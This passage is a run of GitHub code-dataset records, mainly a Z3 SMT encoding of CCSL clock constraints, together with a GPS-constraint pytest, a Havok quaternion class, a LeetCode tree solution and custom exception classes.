gazebo,\n robot_state_publisher_node,\n rviz_node,\n spawn_robot,\n ])\n","repo_name":"Andy-Leo10/barista_robot_description","sub_path":"launch/barista_urdf.launch.py","file_name":"barista_urdf.launch.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30067914707","text":"import pandas as pd\nimport pytest\n\nfrom gps_activity.abstract import AbstractNode\nfrom gps_activity.models import DataFramePivotFields\nfrom gps_activity.nodes import UniqueVehicleConstraint\n\n\n@pytest.fixture\ndef gps_valid() -> pd.DataFrame:\n content = {\"plate_no\": [\"123\", \"123\", \"123\"]}\n return pd.DataFrame(content)\n\n\n@pytest.fixture\ndef gps_invalid() -> pd.DataFrame:\n content = {\"plate_no\": [\"123\", \"1234\", \"12345\"]}\n return pd.DataFrame(content)\n\n\n@pytest.fixture\ndef constrain_module(gps_pivot_fields: DataFramePivotFields) -> pd.DataFrame:\n return UniqueVehicleConstraint(pivot_fields=gps_pivot_fields)\n\n\nclass TestUniqueVehicleConstraint:\n def test_validation_failure(\n self,\n constrain_module: AbstractNode,\n gps_invalid: pd.DataFrame,\n ):\n try:\n constrain_module.transform(gps_invalid)\n raise AssertionError(\"Execution must fail\")\n except ValueError:\n assert True\n\n def test_validation_success(\n self,\n constrain_module: AbstractNode,\n gps_valid: pd.DataFrame,\n ):\n constrain_module.transform(gps_valid)\n assert True\n","repo_name":"WasteLabs/gps_activity","sub_path":"tests/nodes/test_unique_vehicle_constrains.py","file_name":"test_unique_vehicle_constrains.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70025963984","text":"from .hkReferencedObject import hkReferencedObject\nfrom typing import List\nfrom .common import get_array\n\n\nclass hkxAnimatedQuaternion(hkReferencedObject):\n quaternions: List[float]\n\n def __init__(self, infile):\n self.quaternions = get_array(infile, float, 4) # TYPE_ARRAY:TYPE_REAL\n\n def __repr__(self):\n return \"<{class_name} quaternions=[{quaternions}]>\".format(**{\n \"class_name\": self.__class__.__name__,\n \"quaternions\": self.quaternions,\n })\n","repo_name":"zephenryus/havok-reflection","sub_path":"havok_classes/hkxAnimatedQuaternion.py","file_name":"hkxAnimatedQuaternion.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"14312786458","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def isCousins(self, root: Optional[TreeNode], x: int, y: int) -> bool:\n #### BFS ####\n deep = 0\n parent = None\n que = deque()\n que.append((root, deep, parent))\n compare = []\n while que:\n node = que.popleft()\n current = node[0]\n deep = node[1]\n parent = node[2]\n if current:\n parent = current.val\n if current.left:\n que.append((current.left, deep + 1, parent))\n if current.right:\n que.append((current.right, deep + 1, parent))\n if current.val == x or current.val == y:\n compare.append(node)\n return compare[0][1] == compare[1][1] and compare[0][2] != compare[1][2]","repo_name":"Yutao-Zhou/Leetcode","sub_path":"993. Cousins in Binary Tree.py","file_name":"993. Cousins in Binary Tree.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15632059211","text":"from tools import is_number,HtmlHeader,HTMLFooter\nfrom z3 import z3\nfrom z3 import *\nfrom CCSL import CCSL\nimport time,random\n\nclass SMT:\n def __init__(self,file,bound=0, period=0, realPeroid=0):\n ccsl = CCSL(file)\n tmp = ccsl.workOnCCSL()\n self.oldClocks = tmp[\"oldClocks\"]\n self.newClocks = tmp[\"newClocks\"]\n self.newCCSLConstraintList = tmp[\"newCCSLConstraintList\"]\n self.oldCCSLConstraintList = tmp[\"oldCCSLConstraintList\"]\n self.parameter = tmp[\"parameter\"]\n self.bound = bound\n self.period = period\n self.realPeroid = realPeroid\n self.parameterRange = []\n self.solver = z3.SolverFor(\"AUFLIRA\")\n z3.set_param(\"smt.random_seed\", random.randint(100,1000000))\n self.solver.set(unsat_core=True)\n # self.solver.set(produce_models=True)\n # self.solver.set(print_success=False)\n self.printParameter = {}\n self.tickStep = {}\n self.n = z3.Int(\"n\")\n if self.period > 0:\n self.k = z3.Int(\"k\")\n self.l = z3.Int(\"l\")\n self.p = z3.Int(\"p\")\n self.tickDict = {}\n self.historyDict = {}\n self.Tick_result = {}\n self.cnt = 0\n\n def RealProduce(self):\n \"\"\"\n This function is used to do some configruation of the model,such as the bound and the period.\n :return:\n \"\"\"\n if self.bound > 0:\n self.solver.add(self.n == self.bound)\n # If the model want you to work out a model with period\n if self.period > 0:\n self.solver.add(self.l >= 1)\n if self.realPeroid == 0: #the period is not a fixed value.\n self.solver.add(self.p > 0,self.p <= self.n)\n else:#the period is not a fixed value.\n self.solver.add(self.p == self.realPeroid)\n self.solver.add(self.k == (self.l + self.p))\n self.solver.add(self.k <= self.n)\n\n def addTickSMT(self):\n for each in self.newClocks:\n self.tickDict[\"t_%s\" % (each)] = z3.Function(\"t_%s\" % (each), z3.IntSort(), z3.BoolSort())\n tick = self.tickDict[\"t_%s\" % (each)]\n if self.bound > 0:\n y = z3.Int(\"y\")\n if self.period > 0:\n for y in range(1,self.bound + 1):\n self.solver.add(\n z3.Implies(\n y >= self.k,\n tick((y - self.l) % self.p + self.l) == tick(y)\n )\n )\n # self.solver.add(\n # z3.ForAll(y,z3.Implies(\n # z3.And(y >= self.k,y <= self.bound),\n # tick((y - self.l) % self.p + self.l) == tick(y))))\n elif self.bound == 0:\n x = z3.Int(\"x\")\n if self.period > 0:\n y = z3.Int(\"y\")\n self.solver.add(\n z3.ForAll(y,z3.Implies(\n y >= self.k,\n tick((y - self.l) % self.p + self.l) == tick(y))))\n clockListTmp = []\n x = z3.Int(\"x\")\n for each in self.tickDict.keys():\n tick = self.tickDict[each]\n clockListTmp.append(tick(x))\n if self.bound == 0:\n self.solver.add(z3.ForAll(x, z3.Implies(x >= 1, z3.Or(clockListTmp))))\n else:\n for i in range(1,self.bound + 1):\n tmp = []\n for tick in self.tickDict.values():\n tmp.append(tick(i))\n self.solver.add(\n z3.Or(tmp)\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(z3.And(x >= 1, x <= self.n), z3.Or(clockListTmp))))\n\n def addHistory(self):\n for clock in self.newClocks:\n history = None\n tick = self.tickDict[\"t_%s\" % (clock)]\n if (\"h_%s\" % (clock)) not in self.historyDict.keys():\n history = z3.Function(\"h_%s\" % (clock), z3.IntSort(), z3.IntSort())\n self.historyDict[\"h_%s\" % (clock)] = history\n else:\n history = self.historyDict[\"h_%s\" % (clock)]\n # self.solver.add(history(0) == z3.IntVal(0))\n self.solver.add(history(1) == z3.IntVal(0))\n if self.bound > 0:\n # If the bound is finite, we define the history of the clock with a fixed bound.\n for i in range(1, self.bound + 1):\n self.solver.add(z3.If(tick(i),\n history(i + 1) == history(i) + 1,\n history(i + 1) == history(i)))\n # self.solver.add(z3.If(tick(i),\n # history(i + 1) == history(i) + 1,\n # history(i + 1) == history(i)))\n elif self.bound == 0:\n x = z3.Int(\"x\")\n # If the bound is infinite, we define the history of the clock infinitely.\n self.solver.add(z3.ForAll(x, z3.Implies(x >= 1,\n z3.If(tick(x),history(x + 1) == history(x) + 1,\n history(x + 1) == history(x)))))\n\n def addTickStep(self,clock):\n tick = self.tickDict[\"t_%s\" % (clock)]\n history = self.historyDict[\"h_%s\" % (clock)]\n if \"s_%s\" % (clock) not in self.tickStep.keys():\n tickStep = z3.Function(\"s_%s\" % (clock), z3.IntSort(), z3.IntSort())\n self.tickStep[\"s_%s\" % (clock)] = tickStep\n if self.bound > 0:\n x = z3.Int(\"x\")\n # If the bound is infinite, we define the history of the clock infinitely.\n for i in range(1, self.bound + 1):\n self.solver.add(\n z3.Implies(\n tick(i),\n tickStep(history(i) + 1) == i\n ))\n elif self.bound == 0:\n x = z3.Int(\"x\")\n # If the bound is infinite, we define the history of the clock infinitely.\n self.solver.add(z3.ForAll(x, z3.Implies(z3.And(x >= 1,tick(x)),\n tickStep(history(x) + 1) == x)))\n\n def addTickForever(self):\n \"\"\"\n Adding a clock msec, which ticks every step, represents the real-time.\n :return:\n \"\"\"\n if \"msec\" in self.oldClocks:\n tick = self.tickDict[\"t_%s\" %(\"msec\")]\n if self.bound > 0:\n for i in range(1,self.bound + 1):\n self.solver.add(tick(i) == True)\n else:\n x = z3.Int(\"x\")\n self.solver.add(z3.ForAll(x, z3.Implies(x >= 1, tick(x) == True)))\n\n def addOriginSMTConstraints(self):\n \"\"\"\n Realize to transfer the CCSL constraints into SMT formula.\n :return:\n \"\"\"\n cnt = 0\n for each in self.newCCSLConstraintList:\n if each[0] == \"<\" and len(each) == 3:\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n tick2 = self.tickDict[\"t_%s\" % (each[2])]\n history1 = self.historyDict[\"h_%s\" % (each[1])]\n history2 = self.historyDict[\"h_%s\" % (each[2])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1,self.bound + 2):\n self.solver.add(\n z3.Implies(\n history1(i) == history2(i),\n z3.Not(tick2(i))\n )\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(\n # z3.And(x >= 1, x <= self.n, history1(x) == history2(x)),\n # z3.Not(tick2(x)))))\n else:\n self.solver.add(z3.ForAll(x, z3.Implies(\n z3.And(x >= 1, history1(x) == history2(x)),\n z3.Not(tick2(x)))))\n\n elif each[0] == \"<\" and len(each) == 4:\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n delay = each[2]\n tick2 = self.tickDict[\"t_%s\" % (each[3])]\n history1 = self.historyDict[\"h_%s\" % (each[1])]\n history2 = self.historyDict[\"h_%s\" % (each[3])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1, self.bound + 2):\n self.solver.add(\n z3.Implies(\n history2(i) - history1(i) == delay,\n z3.Not(tick2(i))\n )\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(\n # z3.And(x >= 1, x <= self.n, history2(x) - history1(x) == delay),\n # z3.Not(tick2(x)))))\n else:\n self.solver.add(z3.ForAll(x, z3.Implies(\n z3.And(x >= 1, history2(x) - history1(x) == delay),\n z3.Not(tick2(x)))))\n\n elif each[0] == \"≤\":\n history1 = self.historyDict[\"h_%s\" % (each[1])]\n history2 = self.historyDict[\"h_%s\" % (each[2])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1, self.bound + 2):\n self.solver.add(\n history1(i) >= history2(i)\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(\n # z3.And(x >= 1, x <= self.n + 1),\n # history1(x) >= history2(x))))\n else:\n self.solver.add(z3.ForAll(x,z3.Implies(\n x >= 1,\n history1(x) >= history2(x))))\n\n elif each[0] == \"⊆\":\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n tick2 = self.tickDict[\"t_%s\" % (each[2])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1, self.bound + 1):\n self.solver.add(\n z3.Implies(\n tick1(i),\n tick2(i)\n )\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(\n # z3.And(x >= 1, x <= self.n, tick1(x)),\n # tick2(x))))\n else:\n self.solver.add(z3.ForAll(x, z3.Implies(\n z3.And(x >= 1, tick1(x)),\n tick2(x))))\n\n elif each[0] == \"#\":\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n tick2 = self.tickDict[\"t_%s\" % (each[2])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1, self.bound + 1):\n self.solver.add(\n z3.Or(z3.Not(tick1(i)), z3.Not(tick2(i)))\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(\n # z3.And(x >= 1, x <= self.n),\n # z3.Or(z3.Not(tick1(x)), z3.Not(tick2(x))))))\n else:\n self.solver.add(z3.ForAll(x, z3.Implies(\n x >= 1,\n z3.Or(z3.Not(tick1(x)), z3.Not(tick2(x))))))\n\n elif each[0] == \"+\":\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n tick2 = self.tickDict[\"t_%s\" % (each[2])]\n tick3 = self.tickDict[\"t_%s\" % (each[3])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1, self.bound + 1):\n self.solver.add(\n tick1(i) ==\n z3.Or(tick2(i), tick3(i))\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(\n # z3.And(x >= 1, x <= self.n),\n # tick1(x) == z3.Or(tick2(x), tick3(x)))))\n else:\n self.solver.add(z3.ForAll(x, z3.Implies(\n x >= 1,\n tick1(x) == z3.Or(tick2(x), tick3(x)))))\n\n elif each[0] == \"*\":\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n tick2 = self.tickDict[\"t_%s\" % (each[2])]\n tick3 = self.tickDict[\"t_%s\" % (each[3])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1, self.bound + 1):\n self.solver.add(\n z3.Implies(\n tick1(i),\n z3.And(tick2(i), tick3(i))\n )\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(\n # z3.And(x >= 1, x <= self.n),\n # tick1(x) == z3.And(tick2(x), tick3(x)))))\n else:\n self.solver.add(z3.ForAll(x, z3.Implies(\n x >= 1,\n tick1(x) == z3.And(tick2(x), tick3(x)))))\n\n elif each[0] == \"∧\":\n history1 = self.historyDict[\"h_%s\" % (each[1])]\n history2 = self.historyDict[\"h_%s\" % (each[2])]\n history3 = self.historyDict[\"h_%s\" % (each[3])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1, self.bound + 2):\n self.solver.add(\n history1(i) == z3.If(history2(i) >= history3(i), history2(i), history3(i))\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(\n # z3.And(x >= 1, x <= self.n + 1),\n # history1(x) == z3.If(history2(x) >= history3(x),history2(x),history3(x)))))\n else:\n self.solver.add(z3.ForAll(x, z3.Implies(\n x >= 1,\n history1(x) == z3.If(history2(x) >= history3(x),history2(x),history3(x)))))\n\n elif each[0] == \"∨\":\n history1 = self.historyDict[\"h_%s\" % (each[1])]\n history2 = self.historyDict[\"h_%s\" % (each[2])]\n history3 = self.historyDict[\"h_%s\" % (each[3])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1, self.bound + 2):\n self.solver.add(\n history1(i) == z3.If(history2(i) <= history3(i), history2(i), history3(i))\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(\n # z3.And(x >= 1, x <= self.n + 1),\n # history1(x) == z3.If(history2(x) <= history3(x), history2(x), history3(x)))))\n else:\n self.solver.add(z3.ForAll(x, z3.Implies(\n x >= 1,\n history1(x) == z3.If(history2(x) <= history3(x), history2(x), history3(x)))))\n\n elif each[0] == \"$\":\n history1 = self.historyDict[\"h_%s\" % (each[1])]\n history2 = self.historyDict[\"h_%s\" % (each[2])]\n delay = z3.IntVal(int(each[3]))\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1, self.bound + 2):\n self.solver.add(\n history1(i) == z3.If(history2(i) >= delay, history2(i) - delay, 0)\n )\n # self.solver.add(z3.ForAll(x, z3.Implies(\n # z3.And(x >= 1, x <= self.n + 1),\n # history1(x) == z3.If(history2(x) >= delay,history2(x) - delay,0))))\n else:\n self.solver.add(z3.ForAll(x, z3.Implies(\n x >= 1,\n history1(x) == z3.If(history2(x) >= delay,history2(x) - delay,0))))\n\n elif each[0] == \"on\":\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n tick2 = self.tickDict[\"t_%s\" % (each[2])]\n tick3 = self.tickDict[\"t_%s\" % (each[4])]\n history1 = self.historyDict[\"h_%s\" % (each[1])]\n history2 = self.historyDict[\"h_%s\" % (each[2])]\n history3 = self.historyDict[\"h_%s\" % (each[4])]\n self.addTickStep(each[1])\n self.addTickStep(each[2])\n self.addTickStep(each[4])\n tickStep1 = self.tickStep[\"s_%s\" % (each[1])]\n tickStep2 = self.tickStep[\"s_%s\" % (each[2])]\n tickStep3 = self.tickStep[\"s_%s\" % (each[4])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n for i in range(1, int(each[3]) + 1):\n self.solver.add(z3.Not(tick1(i)))\n for i in range(int(each[3]) + 1, self.bound + 1):\n t = []\n for j in range(1, i - int(each[3]) + 1):\n t.append(z3.And(\n tick2(j), history3(i) - history3(j) == int(each[3])\n ))\n self.solver.add(z3.And(tick3(i),z3.Or(t)) == tick1(i))\n self.solver.add(z3.ForAll(x,z3.Implies(\n z3.And(x > 0,x <= self.n + 1),\n history2(x) >= history1(x)\n )))\n self.solver.add(z3.ForAll(x, z3.Implies(\n z3.And(x > 0, x <= self.n,tick1(x)),\n tick3(x)\n )))\n # self.solver.add(\n # z3.ForAll(x, z3.Implies(\n # z3.And(x > 0, x <= history1(self.bound + 1)),\n # history3(tickStep2(x)) - history3(tickStep1(x)) == int(each[3])\n # )))\n # for i in range(self.bound + 1):\n # self.solver.add(history2(i) >= history1(i))\n # for i in range(self.bound):\n # self.solver.add(\n # z3.Implies(\n # tick1(i), tick3(i)\n # )\n # )\n # for i in range(self.bound + 1):\n # self.solver.add(\n # history3(tickStep1(i)) - history3(tickStep2(i)) == int(each[3])\n # )\n\n # self.solver.add(z3.ForAll(x, z3.And(\n # z3.Implies(z3.And(x >= 1, x <= history1(self.bound + 1),tick2(x)),\n # tick1(tickStep3(history3(x) + int(each[3])))\n # ))))\n else:\n self.solver.add(z3.ForAll(x, z3.And(\n z3.Implies(x >= 1, history2(x) >= history1(x)))))\n self.solver.add(z3.ForAll(x, z3.And(\n z3.Implies(z3.And(x >= 1,tick1(x)), tick3(x)))))\n self.solver.add(z3.ForAll(x, z3.And(\n z3.Implies(x >= 1,(history3(tickStep1(x)) - history3(tickStep2(x)) == int(each[3])))\n )))\n elif each[0] == \"∝\":\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n tick2 = self.tickDict[\"t_%s\" % (each[2])]\n history1 = self.historyDict[\"h_%s\" % (each[1])]\n history2 = self.historyDict[\"h_%s\" % (each[2])]\n x = z3.Int(\"x\")\n left = tick1(x)\n if is_number(each[3]):\n k = z3.Int(\"k_%s\" %(cnt))\n self.solver.add(k >= 0, k < int(each[3]))\n right = z3.And(tick2(x), history2(x) >= 0, (history2(x) + k) % z3.IntVal(each[3]) == 0)\n cnt += 1\n # right = z3.And(tick2(x), history2(x) > 0, (history2(x)) % z3.IntVal(each[3]) == 0)\n else:\n period = z3.Int(\"%s\" % each[3])\n tmp = self.parameter[each[3]]\n self.printParameter[each[3]] = period\n k = z3.Int(\"k_%s\" %(cnt))\n self.solver.add(k >= 0, k < period)\n right = z3.And(tick2(x), history2(x) >= 0, (history2(x) + k) % period == 0)\n self.solver.add(period >= int(tmp[2]))\n self.solver.add(period <= int(tmp[3]))\n cnt += 1\n if self.bound > 0:\n self.solver.add(z3.ForAll(x, z3.And(\n z3.Implies(z3.And(x >= 1, x <= self.n), left == right))))\n else:\n self.solver.add(z3.ForAll(x, z3.And(\n z3.Implies(x >= 1, left == right) )))\n\n\n elif each[0] == \"☇\":\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n tick2 = self.tickDict[\"t_%s\" % (each[2])]\n tick3 = self.tickDict[\"t_%s\" % (each[3])]\n history1 = self.historyDict[\"h_%s\" % (each[1])]\n history2 = self.historyDict[\"h_%s\" % (each[2])]\n history3 = self.historyDict[\"h_%s\" % (each[3])]\n self.addTickStep(each[1])\n self.addTickStep(each[3])\n tickStep1 = self.tickStep[\"s_%s\" % (each[1])]\n tickStep3 = self.tickStep[\"s_%s\" % (each[3])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n self.solver.add(\n z3.ForAll(\n x,\n z3.Implies(\n z3.And(x >= 2, x <= history3(self.bound + 1)),\n tick1(tickStep1(x)) == (history2(tickStep3(x)) - history2(tickStep3(x - 1)) >= 1))\n )\n )\n else:\n self.solver.add(\n z3.ForAll(\n x,\n z3.Implies(\n x >= 2,\n z3.And(\n tick1(tickStep1(x)),\n history2(tickStep3(x)) - history2(tickStep3(x - 1)) >= 1)\n )\n )\n )\n\n elif each[0] == \"==\":\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n tick2 = self.tickDict[\"t_%s\" % (each[2])]\n x = z3.Int(\"x\")\n if self.bound > 0:\n self.solver.add(z3.ForAll(x, z3.Implies(\n z3.And(x >= 1, x <= self.n),\n tick1(x) == tick2(x)\n )))\n else:\n self.solver.add(z3.ForAll(x, z3.Implies(\n x >= 1,\n tick1(x) == tick2(x)\n )))\n elif each[0] == \"⋈±\":\n tick1 = self.tickDict[\"t_%s\" % (each[1])]\n tick2 = self.tickDict[\"t_%s\" % (each[2])]\n history1 = self.historyDict[\"h_%s\" % (each[1])]\n history2 = self.historyDict[\"h_%s\" % (each[2])]\n self.addTickStep(each[1])\n self.addTickStep(each[2])\n tickStep1 = self.tickStep[\"s_%s\" % (each[1])]\n tickStep2 = self.tickStep[\"s_%s\" % (each[2])]\n\n lower = int(each[3]) - int(each[4])\n upper = int(each[3]) + int(each[4])\n x = z3.Int(\"x\")\n if self.bound > 0:\n self.solver.add(\n z3.ForAll(\n x,\n z3.Implies(\n z3.And(x >= 1, x <= self.bound + 1,tick1(x)),\n history1(tickStep2(history2(x) + upper)) -\n history1(tickStep2(history2(x) + lower)) == 1\n )\n )\n )\n self.solver.add(\n z3.ForAll(\n x,\n z3.Implies(\n z3.And(x >= 2, x <= history1(self.bound + 1)),\n z3.And(\n (history2(tickStep1(x)) - history2(tickStep1(x - 1)) >= lower),\n (history2(tickStep1(x)) - history2(tickStep1(x - 1)) <= upper)\n )\n )\n )\n )\n else:\n self.solver.add(\n z3.ForAll(\n x,\n z3.Implies(\n x >= 2,\n z3.And(\n (history2(tickStep1(x)) - history2(tickStep1(x - 1)) >= lower),\n (history2(tickStep1(x)) - history2(tickStep1(x - 1)) <= upper)\n )\n )\n )\n )\n\n def getWorkOut(self):\n if self.period > 0:\n print(\"k:\\t%s\" %self.solver.model()[self.k])\n print(\"l:\\t%s\" %self.solver.model()[self.l])\n print(\"p:\\t%s\" %self.solver.model()[self.p])\n model = self.solver.model()\n for each in self.oldClocks:\n # for each in self.newClocks:\n TmpTickList = []\n tick = self.tickDict[\"t_%s\" %each]\n for i in range(1,self.bound + 1):\n if model.eval(tick(i)) == True:\n TmpTickList.append(i)\n self.Tick_result[each] = TmpTickList\n if len(self.printParameter.keys()) == 0:\n for each in self.Tick_result.keys():\n print(each, self.Tick_result[each])\n t = {}\n for each in self.printParameter.keys():\n t[each] = model.eval(self.printParameter[each])\n print(each,model.eval(self.printParameter[each]))\n print()\n self.parameterRange.append(t)\n\n def outPutTickByHTML(self):\n html = \"
  • \"\n for each in range(1, self.bound + 1):\n html += \"
  • %s
    • \" % (each)\n html += \"
\"\n d = sorted(self.Tick_result.keys())\n # for each in self.Tick_result.keys():\n for each in d:\n if each != \"msec\":\n html += \"
  • %s
    • \" % (each)\n cnt = 0\n res = \"\"\n for i in range(1, self.bound + 1):\n if i in self.Tick_result[each]:\n if i - 1 in self.Tick_result[each] or i - 1 == 0:\n html += \"
  • \"\n else:\n html += \"
  • \"\n else:\n if i - 1 not in self.Tick_result[each] or i - 1 == 0:\n html += \"
  • \"\n else:\n html += \"
  • \"\n if i in self.Tick_result[each]:\n cnt += 1\n res += \"
  • %s
    • \" % (cnt)\n html += \"
\"\n if \"msec\" in d:\n each = \"msec\"\n html += \"
  • %s
    • \" % (each)\n cnt = 0\n res = \"\"\n for i in range(1, self.bound + 1):\n if i in self.Tick_result[each]:\n if i - 1 in self.Tick_result[each] or i - 1 == 0:\n html += \"
  • \"\n else:\n html += \"
  • \"\n else:\n if i - 1 not in self.Tick_result[each] or i - 1 == 0:\n html += \"
  • \"\n else:\n html += \"
  • \"\n res += \"
  • %s
    • \" % (cnt)\n if i in self.Tick_result[each]:\n cnt += 1\n html += \"
\"\n html += \"
  • H
    • \" + res + \"
\"\n\n\n # for w in self.oldCCSLConstraintList:\n # # for w in self.newCCSLConstraintList:\n # if w[0] != \"∈\":\n # # html += \"
  • %s
    • \" % (w)\n # for each in w[1:]:\n # if is_number(str(each)) is False and str(each) not in self.parameter.keys():\n # html += \"
    • %s
      • \" % (each)\n # cnt = 0\n # res = \"\"\n # for i in range(1, self.bound + 1):\n # if i in self.Tick_result[each]:\n # if i - 1 in self.Tick_result[each] or i - 1 == 0:\n # html += \"
    • \"\n # else:\n # html += \"
    • \"\n # else:\n # if i - 1 not in self.Tick_result[each] or i - 1 == 0:\n # html += \"
    • \"\n # else:\n # html += \"
    • \"\n # if i - 1 in self.Tick_result[each]:\n # cnt += 1\n # res += \"
    • %s
      • \" % (cnt)\n # html += \"
    \"\n # html += \"
    • H%s
      • \" % (each) + res + \"
    \"\n # html += \"
\"\n # html += \"\"\n html += \"
\"\n html += \"
\"\n return html\n\n def addExtraConstraints(self):\n model = self.solver.model()\n ExtraConstraints = []\n # if len(self.printParameter.keys()) == 0:\n # for each in self.newClocks:\n # self.tickDict[\"t_%s\" % (each)] = z3.Function(\"t_%s\" % (each), z3.IntSort(), z3.BoolSort())\n # for i in range(1, self.bound + 1):\n # tmp = self.tickDict[\"t_%s\" % (each)]\n # ExtraConstraints.append(tmp(i) != model.eval(tmp(i)))\n for each in self.printParameter.keys():\n ExtraConstraints.append(self.printParameter[each] != model.eval(self.printParameter[each]))\n self.solver.add(z3.Or(ExtraConstraints))\n\n def work(self):\n self.RealProduce()\n self.addTickSMT()\n self.addHistory()\n # self.addTickForever()\n self.addOriginSMTConstraints()\n tick = self.tickDict[\"t_%s\" %(\"T5s1\")]\n self.solver.add(tick(1))\n f = open(\"out.smt2\",\"w\")\n f.write(self.solver.to_smt2())\n f.flush()\n f.close()\n\n def getAllSchedule(self):\n self.work()\n i = 0\n start = time.time()\n state = self.solver.check()\n print(time.time() - start)\n print(state)\n while state == z3.sat:\n self.getWorkOut()\n # html = \"

%s

\" % (i)\n html = \"\"\n html += self.outPutTickByHTML()\n self.addExtraConstraints()\n i += 1\n # if len(self.printParameter.keys()) == 0:\n # if i == 10:\n # break\n f = open(\"output.html\", \"a+\", encoding=\"utf-8\")\n f.write(html)\n f.flush()\n f.close()\n state = self.solver.check()\n print(state)\n # if i == 10:\n # break\n print(time.time() - start)\n\n if len(self.printParameter.keys()) != 0:\n print(self.parameterRange)\n print(time.time() - start)\n\n\nif __name__ == \"__main__\":\n HtmlHeader()\n bound = 40\n smt = SMT(\"ccsl.txt\", bound=bound, period=0, realPeroid=0)\n smt.getAllSchedule()\n HTMLFooter()\n","repo_name":"northcity0406/CCSLSMT","sub_path":"SMT.py","file_name":"SMT.py","file_ext":"py","file_size_in_byte":32364,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"12577394823","text":"\"\"\"\nMissing resources exceptions live here\n\napplication.modules.core.exc.missing\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\"\"\"\nfrom application.constants import ERROR_CODES\n\n\nclass AccountNotFoundError(Exception):\n \"\"\"\n Account not found error is raised when an invalid account id is provided to the system as input\n for account lookup\n\n application.modules.core.exc.missing.AccountNotFoundError\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n account_not_found = ERROR_CODES.internal_errors.get('account_not_found')\n\n self.message = account_not_found.message\n self.code = account_not_found.code\n\n if len(args) > 0:\n self.message = args[0]\n\n super(AccountNotFoundError, self).__init__(self.message)\n\n\nclass CredentialNotFoundError(Exception):\n \"\"\"\n Provider not found error is raised when an invalid provider id is provided to the system\n as input for provider lookup.\n\n application.modules.core.exc.missing.ProviderNotFoundError\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n credential_not_found = ERROR_CODES.authentication_errors.get('credential_not_found')\n\n self.message = credential_not_found.message\n self.code = credential_not_found.code\n\n if len(args) > 0:\n self.message = args[0]\n\n super(CredentialNotFoundError, self).__init__(self.message)\n\n\nclass MissingHeaderException(Exception):\n \"\"\"\n Header exception is an exception raised as a result of missing header values\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n invalid_header_error = ERROR_CODES.validation_errors.get('missing_header')\n\n self.message = invalid_header_error.message\n self.code = invalid_header_error.code\n\n if len(args) > 0:\n self.message = args[0]\n\n super(MissingHeaderException, self).__init__(self.message)\n\n\nclass MissingParametersError(Exception):\n \"\"\"\n Missing parameter error is raised when an invalid json is provided to the system as input\n for json validation\n\n application.modules.core.exc.missing.MissingParametersError\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n missing_parameters = ERROR_CODES.validation_errors.get('missing_parameter')\n\n self.message = missing_parameters.message\n self.code = missing_parameters.code\n\n if len(args) > 0:\n self.message = args[0]\n\n super(MissingParametersError, self).__init__(self.message)\n\n\nclass MismatchedParametersError(Exception):\n \"\"\"\n Mismatched parameters error is raised when an invalid json is provided to the system as input\n for json validation\n\n application.modules.core.exc.missing.MismatchedParametersError\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n mismatched_parameters = ERROR_CODES.validation_errors.get('mismatched_parameters')\n\n self.message = mismatched_parameters.message\n self.code = mismatched_parameters.code\n\n if len(args) > 0:\n self.message = args[0]\n\n 